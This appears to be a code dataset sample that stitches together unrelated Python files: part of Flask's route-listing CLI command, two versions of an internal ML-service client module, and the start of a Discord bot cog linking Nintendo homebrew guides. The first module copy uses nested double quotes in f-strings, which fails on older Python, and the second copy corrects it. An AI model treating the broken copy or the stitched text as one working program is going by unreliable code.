),
)
@click.option("--all-methods", is_flag=True, help="Show HEAD and OPTIONS methods.")
@with_appcontext
def routes_command(sort, all_methods):
"""Show all registered routes with endpoints and methods."""
rules = list(current_app.url_map.iter_rules())
if not rules:
click.echo("No routes were registered.")
return
ignored_methods = set(() if all_methods else ("HEAD", "OPTIONS"))
if sort in ("endpoint", "rule"):
rules = sorted(rules, key=attrgetter(sort))
elif sort == "methods":
rules = sorted(rules, key=lambda rule: sorted(rule.methods))
rule_methods = [", ".join(sorted(rule.methods - ignored_methods)) for rule in rules]
headers = ("Endpoint", "Methods", "Rule")
widths = (
max(len(rule.endpoint) for rule in rules),
max(len(methods) for methods in rule_methods),
max(len(rule.rule) for rule in rules),
)
widths = [max(len(h), w) for h, w in zip(headers, widths)]
row = "{{0:<{0}}} {{1:<{1}}} {{2:<{2}}}".format(*widths)
click.echo(row.format(*headers).strip())
click.echo(row.format(*("-" * width for width in widths)))
for rule, methods in zip(rules, rule_methods):
click.echo(row.format(rule.endpoint, methods, rule.rule).rstrip())
cli = FlaskGroup(
help="""\
A general utility script for Flask applications.
Provides commands from Flask, extensions, and the application. Loads the
application defined in the FLASK_APP environment variable, or from a wsgi.py
file. Setting the FLASK_ENV environment variable to 'development' will enable
debug mode.
\b
{prefix}{cmd} FLASK_APP=hello.py
{prefix}{cmd} FLASK_ENV=development
{prefix}flask run
""".format(
cmd="export" if os.name == "posix" else "set",
prefix="$ " if os.name == "posix" else "> ",
)
)
def main():
# TODO omit sys.argv once https://github.com/pallets/click/issues/536 is fixed
cli.main(args=sys.argv[1:])
if __name__ == "__main__":
main()
|
from pathlib import Path
from typing import Dict, Any
from enum import Enum
import requests
import pandas as pd
import os
from skt.vault_utils import get_secrets
MLS_MODEL_DIR = os.path.join(Path.home(), "mls_temp_dir")
MODEL_BINARY_NAME = "model.joblib"
MODEL_TAR_NAME = "model.tar.gz"
MODEL_META_NAME = "model.json"
S3_DEFAULT_PATH = get_secrets("mls")["s3_model_registry_path"]
EDD_OPTIONS = get_secrets("mls")["edd_options"]
MLS_COMPONENTS_API_URL = "/api/v1/components"
MLS_META_API_URL = "/api/v1/meta_tables"
MLS_MLMODEL_API_URL = "/api/v1/models"
def get_mls_meta_table_client(env="stg", user="reco"):
from sktmls.meta_tables.meta_table import MetaTableClient
from sktmls import MLSENV
if env == "prd":
env = MLSENV.PRD
else:
env = MLSENV.STG
secrets = get_secrets(path="mls")
if user != "reco":
user_id = secrets.get(f"{user}_id")
user_pass = secrets.get(f"{user}_pass")
else:
user_id = secrets.get("reco_id")
user_pass = secrets.get("reco_pass")
if not user_id or not user_pass:
raise Exception("No ID or Password for the user {user}")
return MetaTableClient(env=env, username=user_id, password=user_pass)
def create_or_update_meta_table(table_name, schema=None, env="stg", user="reco"):
c = get_mls_meta_table_client(env=env, user=user)
if c.meta_table_exists(name=table_name):
t = c.get_meta_table(name=table_name)
if schema:
c.update_meta_table(meta_table=t, schema=schema)
else:
c.create_meta_table(name=table_name, schema=schema)
def upsert_meta_table(table_name, items_dict, env="stg", user="reco"):
c = get_mls_meta_table_client(env=env, user=user)
t = c.get_meta_table(name=table_name)
items = c.create_meta_items(meta_table=t, items_dict=items_dict)
return len(items)
def set_model_name(comm_db, params, user="reco", edd: bool = False):
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
if comm_db[-3:] == "dev": # stg
url = secret["ab_onprem_stg_url"] if edd else secret["ab_stg_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
else: # prd
url = secret["ab_onprem_prd_url"] if edd else secret["ab_prd_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
requests.post(
url, json=params, headers={"Authorization": f"Basic {{{token}}}"},
)
def get_all_recent_model_path(comm_db, user="reco", edd: bool = False):
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
if comm_db[-3:] == "dev": # stg
url = secret["ab_onprem_stg_url"] if edd else secret["ab_stg_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
else: # prd
url = secret["ab_onprem_prd_url"] if edd else secret["ab_prd_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json().get("results")
results = {component.get("name"): component.get("info") for component in response if component.get("is_latest")}
return results
def get_recent_model_path(comm_db, model_key, user="reco", edd: bool = False):
results = get_all_recent_model_path(comm_db, user, edd)
return results.get(model_key)
def get_model_name(key, user="reco", edd: bool = False):
results = get_all_recent_model_path("prd", user, edd)
return results.get(key)
class ModelLibrary(Enum):
LIGHTGBM = "lightgbm"
XGBOOST = "xgboost"
class AWSENV(Enum):
STG = "stg"
PRD = "prd"
DEV = "dev"
class MLSModelError(Exception):
def __init__(self, msg):
super().__init__(msg)
def get_meta_table(
meta_table: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False
) -> Dict[str, Any]:
"""
Get a meta_table information
Args. :
- meta_table : (str) the name of meta_table
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of meta_table (id / name / description / schema / items / created_at / updated_at)
"""
assert type(meta_table) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
else:
return results
def create_meta_table_item(
meta_table: str,
item_name: str,
item_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Create a meta_item
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- item_dict : (dict) A dictionary type (item-value) value to upload to or update of the item
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(item_dict) == dict
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
meta_table_info = get_meta_table(meta_table, aws_env, user, edd)
values_data = dict()
for field_name, field_spec in meta_table_info["schema"].items():
values_data[field_name] = item_dict.get(field_name)
request_data = dict()
request_data["name"] = item_name
request_data["values"] = values_data
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items"
response = requests.post(url, json=request_data, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
def update_meta_table_item(
meta_table: str,
item_name: str,
item_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Update a meta_item
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- item_dict : (dict) A dictionary type (item-value) value to upload to or update of the item
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(item_dict) == dict
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
meta_table_info = get_meta_table(meta_table, aws_env, user, edd)
values_data = dict()
for field_name, field_spec in meta_table_info["schema"].items():
values_data[field_name] = item_dict.get(field_name)
request_data = dict()
request_data["name"] = item_name
request_data["values"] = values_data
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items/{item_name}"
response = requests.put(url, json=request_data, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
def get_meta_table_item(
meta_table: str, item_name: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False
) -> Dict[str, Any]:
"""
Get a meta_table information
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- A dictionary type (item-value) value of the item_meta
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items/{item_name}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
else:
return results
def meta_table_to_pandas(meta_table: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False) -> Any:
"""
Get a meta_table as pandas dataframe
Args. :
- meta_table : (str) the name of meta_table
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- A Pandas dataframe type of the item_meta
"""
assert type(meta_table) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
if not response.get("results"):
raise MLSModelError(f"No meta_table '{meta_table}' exists on AWS {aws_env}")
items = response["results"]["items"]
key = pd.DataFrame.from_records(items)["name"]
values = pd.DataFrame.from_records(pd.DataFrame.from_records(items)["values"])
df = pd.concat([key, values], axis=1)
return df
def pandas_to_meta_table(
method: str,
meta_table: str,
df: pd.DataFrame,
key: str,
values: list,
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Create or Update items of a meta_table from Pandas Dataframe
Args. :
- method : (str) requests method 'create' or 'update'
- meta_table : (str) MLS meta table name
- df : (pd.DataFrame) input table
- key : (str) key column in dataframe
- values : (list) Dataframe columns for input
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(aws_env) == str
assert method in ["create", "update"]
assert type(meta_table) == str
assert type(df) == pd.core.frame.DataFrame
assert type(key) == str
assert type(values) == list
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items"
def to_json(x):
insert_dict = {}
insert_dict["name"] = x[key]
insert_dict["values"] = {}
for value in values:
insert_dict["values"][value] = x[value]
return insert_dict
json_series = df.apply(lambda x: to_json(x), axis=1)
for meta in json_series:
if method == "create":
create_meta_table_item(meta_table, meta.get("name"), meta.get("values"), aws_env, user)
else:
update_meta_table_item(meta_table, meta.get("name"), meta.get("values"), aws_env, user)
def get_ml_model(
user: str, model_name: str, model_version: str, aws_env: AWSENV = AWSENV.STG.value, edd: bool = False
) -> Dict[str, Any]:
"""
Get an MLModel
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of MLModel
"""
assert type(user) == str
assert type(model_name) == str
assert type(model_version) == str
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}"
response = requests.get(url, params={"user": user}).json()
results = response.get("results")
if not results:
raise MLSModelError(f"No MLModel for user: {user} / model_name: {model_name} / model_version: {model_version}")
else:
return results[0]
def get_ml_model_meta(
user: str, model_name: str, model_version: str, aws_env: AWSENV = AWSENV.STG.value, edd: bool = False
) -> Dict[str, Any]:
"""
Get a list of MLModel meta
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of model_meta
"""
assert type(user) == str
assert type(model_name) == str
assert type(model_version) == str
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}/meta"
response = requests.get(url, params={"user": user}).json()
results = response.get("results")
if not results:
raise MLSModelError(f"No MLModel for user: {user} / model_name: {model_name} / model_version: {model_version}")
else:
return results[0].get("model_meta")
def update_ml_model_meta(
user: str,
model_name: str,
model_version: str,
model_meta_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
edd: bool = False,
) -> None:
"""
Update(or Create) model_meta
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- model_meta_dict : (dict) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(model_name) == str
assert type(model_version) == str
assert type(model_meta_dict) == dict
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{"onprem_" if edd else ""}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}/meta"
request_data = dict()
request_data["user"] = user
request_data["model_meta"] = model_meta_dict
requests.patch(url, json=request_data).json()
| from pathlib import Path
from typing import Dict, Any
from enum import Enum
import requests
import pandas as pd
import os
from skt.vault_utils import get_secrets
MLS_MODEL_DIR = os.path.join(Path.home(), "mls_temp_dir")
MODEL_BINARY_NAME = "model.joblib"
MODEL_TAR_NAME = "model.tar.gz"
MODEL_META_NAME = "model.json"
S3_DEFAULT_PATH = get_secrets("mls")["s3_model_registry_path"]
EDD_OPTIONS = get_secrets("mls")["edd_options"]
MLS_COMPONENTS_API_URL = "/api/v1/components"
MLS_META_API_URL = "/api/v1/meta_tables"
MLS_MLMODEL_API_URL = "/api/v1/models"
def get_mls_meta_table_client(env="stg", user="reco"):
from sktmls.meta_tables.meta_table import MetaTableClient
from sktmls import MLSENV
if env == "prd":
env = MLSENV.PRD
else:
env = MLSENV.STG
secrets = get_secrets(path="mls")
if user != "reco":
user_id = secrets.get(f"{user}_id")
user_pass = secrets.get(f"{user}_pass")
else:
user_id = secrets.get("reco_id")
user_pass = secrets.get("reco_pass")
if not user_id or not user_pass:
raise Exception("No ID or Password for the user {user}")
return MetaTableClient(env=env, username=user_id, password=user_pass)
def create_or_update_meta_table(table_name, schema=None, env="stg", user="reco"):
c = get_mls_meta_table_client(env=env, user=user)
if c.meta_table_exists(name=table_name):
t = c.get_meta_table(name=table_name)
if schema:
c.update_meta_table(meta_table=t, schema=schema)
else:
c.create_meta_table(name=table_name, schema=schema)
def upsert_meta_table(table_name, items_dict, env="stg", user="reco"):
c = get_mls_meta_table_client(env=env, user=user)
t = c.get_meta_table(name=table_name)
items = c.create_meta_items(meta_table=t, items_dict=items_dict)
return len(items)
def set_model_name(comm_db, params, user="reco", edd: bool = False):
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
if comm_db[-3:] == "dev": # stg
url = secret["ab_onprem_stg_url"] if edd else secret["ab_stg_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
else: # prd
url = secret["ab_onprem_prd_url"] if edd else secret["ab_prd_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
requests.post(
url, json=params, headers={"Authorization": f"Basic {{{token}}}"},
)
def get_all_recent_model_path(comm_db, user="reco", edd: bool = False):
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
if comm_db[-3:] == "dev": # stg
url = secret["ab_onprem_stg_url"] if edd else secret["ab_stg_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
else: # prd
url = secret["ab_onprem_prd_url"] if edd else secret["ab_prd_url"]
url = f"{url}{MLS_COMPONENTS_API_URL}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json().get("results")
results = {component.get("name"): component.get("info") for component in response if component.get("is_latest")}
return results
def get_recent_model_path(comm_db, model_key, user="reco", edd: bool = False):
results = get_all_recent_model_path(comm_db, user, edd)
return results.get(model_key)
def get_model_name(key, user="reco", edd: bool = False):
results = get_all_recent_model_path("prd", user, edd)
return results.get(key)
class ModelLibrary(Enum):
LIGHTGBM = "lightgbm"
XGBOOST = "xgboost"
class AWSENV(Enum):
STG = "stg"
PRD = "prd"
DEV = "dev"
class MLSModelError(Exception):
def __init__(self, msg):
super().__init__(msg)
def get_meta_table(
meta_table: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False
) -> Dict[str, Any]:
"""
Get a meta_table information
Args. :
- meta_table : (str) the name of meta_table
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of meta_table (id / name / description / schema / items / created_at / updated_at)
"""
assert type(meta_table) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
else:
return results
def create_meta_table_item(
meta_table: str,
item_name: str,
item_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Create a meta_item
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- item_dict : (dict) A dictionary type (item-value) value to upload to or update of the item
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(item_dict) == dict
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
meta_table_info = get_meta_table(meta_table, aws_env, user, edd)
values_data = dict()
for field_name, field_spec in meta_table_info["schema"].items():
values_data[field_name] = item_dict.get(field_name)
request_data = dict()
request_data["name"] = item_name
request_data["values"] = values_data
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items"
response = requests.post(url, json=request_data, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
def update_meta_table_item(
meta_table: str,
item_name: str,
item_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Update a meta_item
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- item_dict : (dict) A dictionary type (item-value) value to upload to or update of the item
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(item_dict) == dict
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
meta_table_info = get_meta_table(meta_table, aws_env, user, edd)
values_data = dict()
for field_name, field_spec in meta_table_info["schema"].items():
values_data[field_name] = item_dict.get(field_name)
request_data = dict()
request_data["name"] = item_name
request_data["values"] = values_data
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items/{item_name}"
response = requests.put(url, json=request_data, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
def get_meta_table_item(
meta_table: str, item_name: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False
) -> Dict[str, Any]:
"""
Get a meta_table information
Args. :
- meta_table : (str) the name of meta_table
- item_name : (str) the name of meta_item to be added
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- A dictionary type (item-value) value of the item_meta
"""
assert type(meta_table) == str
assert type(item_name) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items/{item_name}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
results = response.get("results")
if not results:
raise MLSModelError(response.get("error"))
else:
return results
def meta_table_to_pandas(meta_table: str, aws_env: AWSENV = AWSENV.STG.value, user="reco", edd: bool = False) -> Any:
"""
Get a meta_table as pandas dataframe
Args. :
- meta_table : (str) the name of meta_table
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- A Pandas dataframe type of the item_meta
"""
assert type(meta_table) == str
assert type(aws_env) == str
secret = get_secrets("mls")
token = secret.get("user_token").get(user)
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}"
response = requests.get(url, headers={"Authorization": f"Basic {{{token}}}"}).json()
if not response.get("results"):
raise MLSModelError(f"No meta_table '{meta_table}' exists on AWS {aws_env}")
items = response["results"]["items"]
key = pd.DataFrame.from_records(items)["name"]
values = pd.DataFrame.from_records(pd.DataFrame.from_records(items)["values"])
df = pd.concat([key, values], axis=1)
return df
def pandas_to_meta_table(
method: str,
meta_table: str,
df: pd.DataFrame,
key: str,
values: list,
aws_env: AWSENV = AWSENV.STG.value,
user="reco",
edd: bool = False,
) -> None:
"""
Create or Update items of a meta_table from Pandas Dataframe
Args. :
- method : (str) requests method 'create' or 'update'
- meta_table : (str) MLS meta table name
- df : (pd.DataFrame) input table
- key : (str) key column in dataframe
- values : (list) Dataframe columns for input
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- user : (str) the name of user (default is 'reco')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(aws_env) == str
assert method in ["create", "update"]
assert type(meta_table) == str
assert type(df) == pd.core.frame.DataFrame
assert type(key) == str
assert type(values) == list
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_META_API_URL}/{meta_table}/meta_items"
def to_json(x):
insert_dict = {}
insert_dict["name"] = x[key]
insert_dict["values"] = {}
for value in values:
insert_dict["values"][value] = x[value]
return insert_dict
json_series = df.apply(lambda x: to_json(x), axis=1)
for meta in json_series:
if method == "create":
create_meta_table_item(meta_table, meta.get("name"), meta.get("values"), aws_env, user)
else:
update_meta_table_item(meta_table, meta.get("name"), meta.get("values"), aws_env, user)
def get_ml_model(
user: str, model_name: str, model_version: str, aws_env: AWSENV = AWSENV.STG.value, edd: bool = False
) -> Dict[str, Any]:
"""
Get an MLModel
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of MLModel
"""
assert type(user) == str
assert type(model_name) == str
assert type(model_version) == str
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}"
response = requests.get(url, params={"user": user}).json()
results = response.get("results")
if not results:
raise MLSModelError(f"No MLModel for user: {user} / model_name: {model_name} / model_version: {model_version}")
else:
return results[0]
def get_ml_model_meta(
user: str, model_name: str, model_version: str, aws_env: AWSENV = AWSENV.STG.value, edd: bool = False
) -> Dict[str, Any]:
"""
Get a list of MLModel meta
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
Returns :
- Dictionary value of model_meta
"""
assert type(user) == str
assert type(model_name) == str
assert type(model_version) == str
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}/meta"
response = requests.get(url, params={"user": user}).json()
results = response.get("results")
if not results:
raise MLSModelError(f"No MLModel for user: {user} / model_name: {model_name} / model_version: {model_version}")
else:
return results[0].get("model_meta")
def update_ml_model_meta(
user: str,
model_name: str,
model_version: str,
model_meta_dict: Dict[str, Any],
aws_env: AWSENV = AWSENV.STG.value,
edd: bool = False,
) -> None:
"""
Update(or Create) model_meta
Args. :
- user : (str) the name of a MLModel user
- model_name : (str) the name of MLModel
- model_version : (str) the version of MLModel
- model_meta_dict : (dict) the version of MLModel
- aws_env : (str) AWS ENV in 'stg / prd' (default is 'stg')
- edd : (bool) True if On-prem env is on EDD (default is False)
"""
assert type(model_name) == str
assert type(model_version) == str
assert type(model_meta_dict) == dict
assert type(aws_env) == str
url = get_secrets("mls")[f"ab_{'onprem_' if edd else ''}{aws_env}_url"]
url = f"{url}{MLS_MLMODEL_API_URL}/{model_name}/versions/{model_version}/meta"
request_data = dict()
request_data["user"] = user
request_data["model_meta"] = model_meta_dict
requests.patch(url, json=request_data).json()
|
import discord
import requests
from discord.ext import commands
from inspect import cleandoc
from datetime import datetime
from pytz import timezone
from urllib import parse
from utils import check_arg, Literal
class General(commands.Cog):
"""
General commands
"""
def __init__(self, bot):
self.bot = bot
async def simple_embed(self, ctx, text, *, title="", color=discord.Color.default()):
embed = discord.Embed(title=title, color=color)
embed.description = cleandoc(text)
await ctx.send(embed=embed)
# this command is a part of Kurisu (https://github.com/nh-server/Kurisu)
def netinfo_parse_time(self, timestr):
return datetime.strptime(' '.join(timestr.split()), '%A, %B %d, %Y %I :%M %p').replace(tzinfo=timezone('US/Pacific'))
@commands.command(require_var_positional=True)
async def guide(self, ctx, *guides: Literal("3ds", "wiiu", "vwii", "switch", "nx", "ns", "wii", "dsi")) -> None: # noqa
"""Links to the recommended guides.
Usage: guide <3ds, wiiu, vwii, switch, wii, dsi>"""
embed = discord.Embed(title="Guide")
for x in guides:
if check_arg(x, '3ds'):
embed.set_author(name="Nintendo Homebrew & Plailect")
embed.set_thumbnail(url="https://nintendohomebrew.com/assets/img/nhplai.png")
embed.url = "https://3ds.hacks.guide/"
embed.description = "A complete guide to 3DS custom firmware, from stock to boot9strap"
await ctx.send(embed=embed)
continue
if check_arg(x, ('wiiu',)):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/CVSu1zc.png")
embed.url = "https://wiiu.hacks.guide/"
embed.description = "A guide collaboration between Nintendo Homebrew’s Helpers and Staff, from stock to CBHC custom firmware"
await ctx.send(embed=embed)
continue
if check_arg(x, ('vwii',)):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/FclGzNz.png")
embed.url = "https://wiiu.hacks.guide/#/vwii-modding"
embed.description = "vWii modding guide"
await ctx.send(embed=embed)
continue
if check_arg(x, ('switch', 'nx', 'ns')):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/CVSu1zc.png")
embed.url = "https://switchgui.de/switch-guide/"
embed.description = "A guide collaboration between Nintendo Homebrew's Helpers and Staff, from stock to Atmosphere"
await ctx.send(embed=embed)
continue
if check_arg(x, 'wii'):
embed.set_author(name="RiiConnect24")
embed.set_thumbnail(url="https://i.imgur.com/KI6IXmm.png")
embed.url = "https://wii.guide/"
embed.description = "The complete guide to modding your Nintendo Wii"
await ctx.send(embed=embed)
continue
if check_arg(x, 'dsi'):
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/"
embed.description = "The complete guide to modding your Nintendo DSi"
await ctx.send(embed=embed)
@commands.group(invoke_without_command=True, case_insensitive=True)
async def install(self, ctx):
"""Links and/or information on installing apps"""
await ctx.send_help(ctx.command)
@install.command(name="twilight", aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight_install(self, ctx, *, arg=""):
embed = discord.Embed(title="TWiLight Menu++ Installation Guide")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/twilightmenu/installing"
embed.description = "How to install TWiLight Menu++"
if arg != "":
if check_arg(arg, ("3ds",)):
embed.url += "-3ds"
embed.description += " on the 3DS"
elif check_arg(arg, ("dsi",)):
embed.url += "-dsi"
embed.description += " on the DSi"
elif check_arg(arg, ("flashcard", "flashcart", "ds")):
embed.url += "-flashcard"
embed.description += " on flashcards"
embed.url += ".html"
await ctx.send(embed=embed)
@install.command(name="hiyacfw", aliases=["hiya"])
async def hiyacfw_install(self, ctx, *, arg=""):
embed = discord.Embed(title="hiyaCFW Installation Guide")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/hiyacfw/installing.html"
embed.description = "How to install hiyaCFW on the DSi"
await ctx.send(embed=embed)
@install.command(name="unlaunch")
async def unlaunch_install(self, ctx):
"""Installing Unlaunch"""
embed = discord.Embed(title="Installing Unlaunch")
